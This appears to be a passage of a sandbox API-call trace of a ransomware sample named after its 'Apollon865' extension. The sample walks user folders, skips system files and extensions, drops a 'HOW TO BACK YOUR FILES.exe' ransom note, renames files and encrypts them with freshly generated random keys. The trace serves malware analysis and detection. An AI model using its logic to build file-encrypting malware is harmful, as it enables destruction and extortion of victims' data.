	[0037.671] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e947370, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e947370, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0037.671] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.671] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0037.671] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0037.671] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e947370, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e947370, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0037.671] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.671] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0037.671] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0037.671] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0037.671] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e947370, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e947370, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0037.671] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0037.671] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66b2700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2f7a14e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="new", cAlternateFileName="")) returned 1
	[0037.671] lstrcmpiW (lpString1="new", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0037.671] lstrcmpiW (lpString1="new", lpString2="Apollon865.txt.exe") returned 1
	[0037.671] lstrcmpiW (lpString1="new", lpString2=".") returned 1
	[0037.672] lstrcmpiW (lpString1="new", lpString2="..") returned 1
	[0037.672] lstrcmpiW (lpString1="new", lpString2="windows") returned -1
	[0037.672] lstrcmpiW (lpString1="new", lpString2="bootmgr") returned 1
	[0037.672] lstrcmpiW (lpString1="new", lpString2="temp") returned -1
	[0037.672] lstrcmpiW (lpString1="new", lpString2="pagefile.sys") returned -1
	[0037.672] lstrcmpiW (lpString1="new", lpString2="boot") returned 1
	[0037.672] lstrcmpiW (lpString1="new", lpString2="ids.txt") returned 1
	[0037.672] lstrcmpiW (lpString1="new", lpString2="ntuser.dat") returned -1
	[0037.672] lstrcmpiW (lpString1="new", lpString2="perflogs") returned -1
	[0037.672] lstrcmpiW (lpString1="new", lpString2="MSBuild") returned 1
	[0037.672] lstrlenW (lpString="new") returned 3
	[0037.672] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\*") returned 62
	[0037.672] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="new" | out: lpString1="new") returned="new"
	[0037.672] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b08
	[0037.672] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x82) returned 0x5b9168
	[0037.672] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b10 | out: ListHead=0x5b76b0, ListEntry=0x5b7b10) returned 0x5b7af0
	[0037.672] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66b2700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2f7a14e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="new", cAlternateFileName="")) returned 0
	[0037.672] FindClose (in: hFindFile=0x5ca250 | out: hFindFile=0x5ca250) returned 1
	[0037.672] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7b10
	[0037.672] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new"
	[0037.672] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9168 | out: hHeap=0x580000) returned 1
	[0037.672] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b08 | out: hHeap=0x580000) returned 1
	[0037.672] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new") returned 64
	[0037.672] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new"
	[0037.672] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0037.672] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\backup\\new\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0037.684] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0037.684] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e96d4d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e96d4d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0037.684] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.684] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0037.684] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0037.684] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e96d4d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e96d4d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0037.684] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.684] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0037.684] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0037.684] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0037.684] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x650f7e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x650f7e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2f2de8d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="edb00001.log", cAlternateFileName="")) returned 1
	[0037.684] lstrcmpiW (lpString1="edb00001.log", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.684] lstrcmpiW (lpString1="edb00001.log", lpString2="Apollon865.txt.exe") returned 1
	[0037.684] lstrcmpiW (lpString1="edb00001.log", lpString2=".") returned 1
	[0037.684] lstrcmpiW (lpString1="edb00001.log", lpString2="..") returned 1
	[0037.684] lstrcmpiW (lpString1="edb00001.log", lpString2="windows") returned -1
	[0037.684] lstrcmpiW (lpString1="edb00001.log", lpString2="bootmgr") returned 1
	[0037.684] lstrcmpiW (lpString1="edb00001.log", lpString2="temp") returned -1
	[0037.684] lstrcmpiW (lpString1="edb00001.log", lpString2="pagefile.sys") returned -1
	[0037.685] lstrcmpiW (lpString1="edb00001.log", lpString2="boot") returned 1
	[0037.685] lstrcmpiW (lpString1="edb00001.log", lpString2="ids.txt") returned -1
	[0037.685] lstrcmpiW (lpString1="edb00001.log", lpString2="ntuser.dat") returned -1
	[0037.685] lstrcmpiW (lpString1="edb00001.log", lpString2="perflogs") returned -1
	[0037.685] lstrcmpiW (lpString1="edb00001.log", lpString2="MSBuild") returned -1
	[0037.685] lstrlenW (lpString="edb00001.log") returned 12
	[0037.685] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\*") returned 66
	[0037.685] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="edb00001.log" | out: lpString1="edb00001.log") returned="edb00001.log"
	[0037.685] lstrlenW (lpString="edb00001.log") returned 12
	[0037.685] lstrlenW (lpString="Apollon865") returned 10
	[0037.685] lstrcmpiW (lpString1="b00001.log", lpString2="Apollon865") returned 1
	[0037.685] lstrlenW (lpString=".dll") returned 4
	[0037.685] lstrcmpiW (lpString1="edb00001.log", lpString2=".dll") returned 1
	[0037.685] lstrlenW (lpString=".lnk") returned 4
	[0037.685] lstrcmpiW (lpString1="edb00001.log", lpString2=".lnk") returned 1
	[0037.685] lstrlenW (lpString=".ini") returned 4
	[0037.685] lstrcmpiW (lpString1="edb00001.log", lpString2=".ini") returned 1
	[0037.685] lstrlenW (lpString=".sys") returned 4
	[0037.685] lstrcmpiW (lpString1="edb00001.log", lpString2=".sys") returned 1
	[0037.685] lstrlenW (lpString="edb00001.log") returned 12
	[0037.685] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="WindowsMail.MSMessageStore" | out: lpString1="WindowsMail.MSMessageStore") returned="WindowsMail.MSMessageStore"
	[0037.685] lstrlenW (lpString="WindowsMail.MSMessageStore") returned 26
	[0037.685] lstrlenW (lpString="Apollon865") returned 10
	[0037.685] lstrcmpiW (lpString1="ssageStore", lpString2="Apollon865") returned 1
	[0037.685] lstrlenW (lpString=".dll") returned 4
	[0037.685] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2=".dll") returned 1
	[0037.685] lstrlenW (lpString=".lnk") returned 4
	[0037.685] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2=".lnk") returned 1
	[0037.685] lstrlenW (lpString=".ini") returned 4
	[0037.685] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2=".ini") returned 1
	[0037.685] lstrlenW (lpString=".sys") returned 4
	[0037.685] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2=".sys") returned 1
	[0037.685] lstrlenW (lpString="WindowsMail.MSMessageStore") returned 26
	[0037.686] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="WindowsMail.pat" | out: lpString1="WindowsMail.pat") returned="WindowsMail.pat"
	[0037.686] lstrlenW (lpString="WindowsMail.pat") returned 15
	[0037.686] lstrlenW (lpString="Apollon865") returned 10
	[0037.686] lstrcmpiW (lpString1="wsMail.pat", lpString2="Apollon865") returned 1
	[0037.686] lstrlenW (lpString=".dll") returned 4
	[0037.686] lstrcmpiW (lpString1="WindowsMail.pat", lpString2=".dll") returned 1
	[0037.686] lstrlenW (lpString=".lnk") returned 4
	[0037.686] lstrcmpiW (lpString1="WindowsMail.pat", lpString2=".lnk") returned 1
	[0037.686] lstrlenW (lpString=".ini") returned 4
	[0037.686] lstrcmpiW (lpString1="WindowsMail.pat", lpString2=".ini") returned 1
	[0037.686] lstrlenW (lpString=".sys") returned 4
	[0037.686] lstrcmpiW (lpString1="WindowsMail.pat", lpString2=".sys") returned 1
	[0037.686] lstrlenW (lpString="WindowsMail.pat") returned 15
	[0037.686] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player"
	[0037.686] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0037.686] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0037.686] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player") returned 53
	[0037.686] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player"
	[0037.686] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0037.686] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0037.694] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0037.694] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e96d4d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e96d4d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0037.694] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.694] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0037.694] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0037.694] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e96d4d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e96d4d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0037.694] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.694] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0037.694] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0037.694] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0037.694] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6666440, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6666440, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8679d27, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x105000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CurrentDatabase_372.wmdb", cAlternateFileName="CURREN~1.WMD")) returned 1
	[0037.694] lstrcmpiW (lpString1="CurrentDatabase_372.wmdb", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.694] lstrcmpiW (lpString1="CurrentDatabase_372.wmdb", lpString2="Apollon865.txt.exe") returned 1
	[0037.694] lstrcmpiW (lpString1="CurrentDatabase_372.wmdb", lpString2=".") returned 1
	[0037.694] lstrcmpiW (lpString1="CurrentDatabase_372.wmdb", lpString2="..") returned 1
	[0037.694] lstrcmpiW (lpString1="CurrentDatabase_372.wmdb", lpString2="windows") returned -1
	[0037.694] lstrcmpiW (lpString1="CurrentDatabase_372.wmdb", lpString2="bootmgr") returned 1
	[0037.694] lstrcmpiW (lpString1="CurrentDatabase_372.wmdb", lpString2="temp") returned -1
	[0037.694] lstrcmpiW (lpString1="CurrentDatabase_372.wmdb", lpString2="pagefile.sys") returned -1
	[0037.694] lstrcmpiW (lpString1="CurrentDatabase_372.wmdb", lpString2="boot") returned 1
	[0037.695] lstrcmpiW (lpString1="CurrentDatabase_372.wmdb", lpString2="ids.txt") returned -1
	[0037.695] lstrcmpiW (lpString1="CurrentDatabase_372.wmdb", lpString2="ntuser.dat") returned -1
	[0037.695] lstrcmpiW (lpString1="CurrentDatabase_372.wmdb", lpString2="perflogs") returned -1
	[0037.695] lstrcmpiW (lpString1="CurrentDatabase_372.wmdb", lpString2="MSBuild") returned -1
	[0037.695] lstrlenW (lpString="CurrentDatabase_372.wmdb") returned 24
	[0037.695] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\*") returned 55
	[0037.695] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="CurrentDatabase_372.wmdb" | out: lpString1="CurrentDatabase_372.wmdb") returned="CurrentDatabase_372.wmdb"
	[0037.695] lstrlenW (lpString="CurrentDatabase_372.wmdb") returned 24
	[0037.695] lstrlenW (lpString="Apollon865") returned 10
	[0037.695] lstrcmpiW (lpString1="e_372.wmdb", lpString2="Apollon865") returned 1
	[0037.695] lstrlenW (lpString=".dll") returned 4
	[0037.695] lstrcmpiW (lpString1="CurrentDatabase_372.wmdb", lpString2=".dll") returned 1
	[0037.695] lstrlenW (lpString=".lnk") returned 4
	[0037.695] lstrcmpiW (lpString1="CurrentDatabase_372.wmdb", lpString2=".lnk") returned 1
	[0037.695] lstrlenW (lpString=".ini") returned 4
	[0037.695] lstrcmpiW (lpString1="CurrentDatabase_372.wmdb", lpString2=".ini") returned 1
	[0037.695] lstrlenW (lpString=".sys") returned 4
	[0037.695] lstrcmpiW (lpString1="CurrentDatabase_372.wmdb", lpString2=".sys") returned 1
	[0037.695] lstrlenW (lpString="CurrentDatabase_372.wmdb") returned 24
	[0037.695] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb.Apollon865") returned 89
	[0037.695] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\currentdatabase_372.wmdb"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\currentdatabase_372.wmdb.apollon865"), dwFlags=0x1) returned 1
	[0037.696] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\currentdatabase_372.wmdb.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x14c
	[0037.696] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1069056) returned 1
	[0037.696] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0037.696] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0037.696] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0037.696] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0037.697] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0037.697] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0037.698] CreateFileMappingW (hFile=0x14c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x105300, lpName=0x0) returned 0x150
	[0037.700] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x105300) returned 0x2a80000
	[0037.862] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0037.878] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0037.878] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0037.878] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0037.878] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0037.878] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0037.878] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0037.878] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0037.878] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0037.878] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x599450
	[0037.878] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0037.878] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0037.878] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0037.878] UnmapViewOfFile (lpBaseAddress=0x2a80000) returned 1
	[0037.888] CloseHandle (hObject=0x150) returned 1
	[0037.888] CloseHandle (hObject=0x14c) returned 1
	[0037.907] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0037.907] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0037.907] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0038.003] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e96d4d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e96d4d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0038.003] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0038.004] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6666440, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6666440, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd856f385, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1106c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LocalMLS_3.wmdb", cAlternateFileName="LOCALM~1.WMD")) returned 1
	[0038.004] lstrcmpiW (lpString1="LocalMLS_3.wmdb", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0038.004] lstrcmpiW (lpString1="LocalMLS_3.wmdb", lpString2="Apollon865.txt.exe") returned 1
	[0038.004] lstrcmpiW (lpString1="LocalMLS_3.wmdb", lpString2=".") returned 1
	[0038.004] lstrcmpiW (lpString1="LocalMLS_3.wmdb", lpString2="..") returned 1
	[0038.004] lstrcmpiW (lpString1="LocalMLS_3.wmdb", lpString2="windows") returned -1
	[0038.004] lstrcmpiW (lpString1="LocalMLS_3.wmdb", lpString2="bootmgr") returned 1
	[0038.004] lstrcmpiW (lpString1="LocalMLS_3.wmdb", lpString2="temp") returned -1
	[0038.004] lstrcmpiW (lpString1="LocalMLS_3.wmdb", lpString2="pagefile.sys") returned -1
	[0038.004] lstrcmpiW (lpString1="LocalMLS_3.wmdb", lpString2="boot") returned 1
	[0038.004] lstrcmpiW (lpString1="LocalMLS_3.wmdb", lpString2="ids.txt") returned 1
	[0038.004] lstrcmpiW (lpString1="LocalMLS_3.wmdb", lpString2="ntuser.dat") returned -1
	[0038.004] lstrcmpiW (lpString1="LocalMLS_3.wmdb", lpString2="perflogs") returned -1
	[0038.004] lstrcmpiW (lpString1="LocalMLS_3.wmdb", lpString2="MSBuild") returned -1
	[0038.004] lstrlenW (lpString="LocalMLS_3.wmdb") returned 15
	[0038.004] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb") returned 78
	[0038.004] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="LocalMLS_3.wmdb" | out: lpString1="LocalMLS_3.wmdb") returned="LocalMLS_3.wmdb"
	[0038.004] lstrlenW (lpString="LocalMLS_3.wmdb") returned 15
	[0038.004] lstrlenW (lpString="Apollon865") returned 10
